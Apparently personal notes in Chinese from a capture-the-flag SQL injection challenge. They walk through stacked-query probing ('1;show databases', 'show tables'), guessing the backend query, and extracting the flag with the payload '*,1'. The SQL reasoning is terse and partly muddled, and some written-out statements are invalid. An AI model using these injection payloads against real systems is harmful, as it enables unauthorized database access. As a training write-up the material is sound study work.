1.探测注入形式
1.通过输入1得到回显,
2.burp抓包,通过不断改变输入,得到空,最后输入*;** 得到回显*
可以判断后端代码以并联形式构成**;**= **and union **
2.探测库结构
1.show databases
**
2.show tables
3.猜测结构
一般语句结构
select ( 参数( 未知 ) ) from ( 未知 )
select 1 ; show databases; ( ?1 ) from ( ?2 ) = 数据库
select 1 ; show tables; ( ?1 ) from ( ?2 ) = Flag
结论:?2=Flag=tables
代入:
select 1 ;
(show databases; ( ?1 ) from Flag) = 数据库
select 1 ;
( show tables; ( ?1 ) from Flag ) = Flag
?1=|| ?=|| flag
完整语句:
select ?|| flag from Flag
得到flag语句: select * flag from Flag
同时
构造:?=*,1
select * , 1 || flag from Flag
select * || flag from Flag
select 1 || flag from Flag
得到flag